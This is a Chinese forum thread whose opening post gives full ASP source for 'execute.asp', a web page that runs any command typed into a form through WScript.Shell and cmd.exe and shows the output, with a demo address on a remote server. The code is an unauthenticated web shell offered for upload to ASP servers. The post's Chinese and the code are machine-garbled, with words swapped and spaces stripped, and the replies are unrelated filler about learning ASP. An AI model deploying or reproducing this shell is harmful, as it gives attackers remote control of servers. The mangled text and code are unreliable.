仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 668|回复: 8
打印 上一主题 下一主题

[学习教程] ASP网站制作之能够实行体系命令的ASP原码放送

[复制链接]
灵魂腐蚀 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 23:18:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
当然了,现在国内CRM厂商的产品与其说是CRM,但从至少从我的角度分析上来看,充其量只是一个大型的进销存而已了,了解尚浅,不够胆详评,这里只提技术问题实行能够实行体系命令的ASP原码放送

whoamI
日期:2001.2.1

比来正在写一个远程服务器办理的东东(自创了ASE的部分代码、增添了远程

实行命令、上传、服务等功效。),失掉了阿新、ADAM、辰儿、ghost_happy、

crazybird等良多网友的匡助,让我很冲动,以是我盘算写好了今后,全体原代码

发布,能够自在修正和分布。你所要做的只是上传程序到一个撑持ASP的服务器。

值得注重的是,程序运转必需有FileSystemObject撑持。以下是远程实行命令的

原代码。copy上去另存为execute.asp.

演示地点:http://210.160.4.24/scripts/execute.asp
一台日本的烂机,以是中文会呈现乱码!

<html>

<head>
<metahttp-equiv="Content-Language"content="zh-cn">
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
<metaname="GENERATOR"content="MicrosoftFrontPage4.0">
<metaname="ProgId"content="FrontPage.Editor.Document">
<title>实行命令</title>
<style>
<!--
table,body{font-family:宋体;font-size:9pt}
a{font-family:宋体;font-size:9pt;color:rgb(0,32,64);

text-decoration:none}
a:hover{font-family:宋体;color:rgb(255,0,0);text-decoration:none

}
a:visited{color:rgb(128,0,0)}
-->
</style>

</head>

<bodybgcolor="#000000"text="#C0C0C0">

<formmethod="POST"action="execute.asp">
<palign="left">输出要实行的命令:<inputtype="text"name="ml"

size="20"value="dirc:"style="background-color:#C0C0C0;color:

#000000;border-style:solid;border-width:1">
<inputtype="submit"value="实行"name="B1"style="background-color:

#C0C0C0;color:#000000;border:1groove#C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:winntsystem32cmd.exe/c"&ml&">c:whoamI.txt"修正

whoamI.txt路径到一个有写权限的目次
SetWShShell=Server.CreateObject("WScript.Shell")
RetCode=WShShell.Run(cmd,1,True)
ifRetCode=0Then
Response.writeml&" "
Response.write"命令乐成实行!"&"<br><br>"
else
Response.write"命令实行失利!权限不敷大概该程序没法在DOS形态下运转

!"&"<br><br>"

endif
response.writecmd

functionhtmlencode(str)
dimresult
diml
ifisNULL(str)then
htmlencode=""
exitfunction
endif
l=len(str)
result=""
dimi
fori=1tol
selectcasemid(str,i,1)
case"<"
result=result+"<"
case">"
result=result+">"
casechr(34)
result=result+"""
case"&"
result=result+"&"
caseelse
result=result+mid(str,i,1)
endselect
next
htmlencode=result
endfunction
Setfs=CreateObject("Scripting.FileSystemObject")
Setthisfile=fs.OpenTextFile("c:/whoamI.txt",1,False)读文件,别忘

了修正路径.
counter=0
dowhilenotthisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.writethisline&"<br>"
loop
thisfile.Close
setfs=nothing
%>

</body>

</html&</p>想法是和程序员的想法不一样的.至于为什么.大家去想一想.跟心理学有关的
金色的骷髅 该用户已被删除
沙发
发表于 2015-1-20 09:29:37 | 只看该作者
没有坚实的理论做基础,那么我们连踏入社会第一步的资本都没有,特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP,从平时的学习过程中。
海妖 该用户已被删除
板凳
发表于 2015-1-29 06:24:35 | 只看该作者
完全不知道到底自己学的是什么。最后,除了教程里面说的几个例子,还是什么都不会。
柔情似水 该用户已被删除
地板
发表于 2015-2-5 23:12:12 | 只看该作者
最近在学asp,不要问我为什么不直接学.net,因为公司网站是asp做的所以有这个需要,卖了本书asp入门到精通,对里面的六大内置对象老是记不住,还有很多属性和方法看的头晕。
透明 该用户已被删除
5#
发表于 2015-2-14 03:54:16 | 只看该作者
它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。
莫相离 该用户已被删除
6#
发表于 2015-3-4 04:28:46 | 只看该作者
先学习用frontpage熟悉html编辑然后学习asp和vbscript建议买书进行系统学习
若天明 该用户已被删除
7#
发表于 2015-3-11 16:37:52 | 只看该作者
下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。
再现理想 该用户已被删除
8#
发表于 2015-3-19 01:37:30 | 只看该作者
以上是语言本身的弱点,在功能方面ASP同样存在问题,第一是功能太弱,一些底层操作只能通过组件来完成,在这点上是远远比不上PHP/JSP,其次就是缺乏完善的纠错/调试功能,这点上ASP/PHP/JSP差不多。
分手快乐 该用户已被删除
9#
发表于 2015-3-27 02:12:29 | 只看该作者
运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写,使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-23 05:29

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表